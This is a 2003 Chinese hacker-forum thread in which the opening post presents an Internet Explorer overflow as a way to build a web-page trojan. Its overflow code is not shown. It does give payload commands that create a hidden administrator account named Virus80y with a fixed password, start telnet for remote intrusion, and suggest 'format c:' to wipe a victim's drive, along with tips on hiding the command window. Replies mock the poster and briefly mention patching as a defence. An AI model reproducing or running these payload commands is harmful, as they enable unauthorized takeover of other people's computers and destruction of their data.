[原创]利用IE漏洞来制作网页木马~

利用IE的漏洞可以让IE益出,下面SHOW出利用代码 为了避免不露出马脚,建议使用一个页面引出木马页面.

说明:此为HTML语句,另外打开为http://127.0.0.1/test.test的网页文件 test.test代码 说明:此代码为HTML代码,后缀名可以改成任意的,最好是小于4位.... wsh.Run("cmd.exe /k net user Virus80y 1q2w3e4r5t6y7u8i9o0p /add") //执行益出代码后,调用CMD ,添加用户名 wsh.Run("cmd.exe /k net localgroup administrators Virus80y /add") //把新加用户名设置为ADMIN wsh.Run("cmd.exe /k net start telnet") //开启TELNET,方便入侵 在cmd.exe后面可以加入DOS命令,如format c:.这样就把别人的C盘干掉了./k 为隐藏所执行的DOS命令.这样别人只看见CMD的窗口,并没有看见执行了什么命令. 我推荐加入/m /k参数.功能是执行命令的时候窗口最小化,而且隐藏所执行的命令. DOS的功能挺多,只有想不到的,没有做不到的.

晕死，这个是不可能的，实现不了。

我靠，这你都想的出来！
人家还用3721干什么！

并不是我D你的，这个漏洞是早就出来了的。不过你又让我想起来了。好东西应该让大家分享一下，我的东西比你的更好。

小子,你还真会装呢
我给你看下就马上D版去了
呵呵,还好,你小子工夫还不到家,就看到了一半
记住,以后不要D了,也别加上啥原创,丢人

下面引用由默读忧伤在 2003/08/27 11:44pm 发表的内容：
有什么预防的方法吗？

   如果是以GUEST身份登陆主机当然是加不了用户的咯,因为他没权限.
   所以有一句话:不要以SYSTEM权限在主机上开服务,或者进行什么操作.
   这样比较安全

下面引用由默读忧伤在 2003/08/27 11:44pm 发表的内容：
有什么预防的方法吗？

当然是打补丁罗

有什么预防的方法吗？

我顶!!!!!!!!!!!!~~~~~~~~~~~~~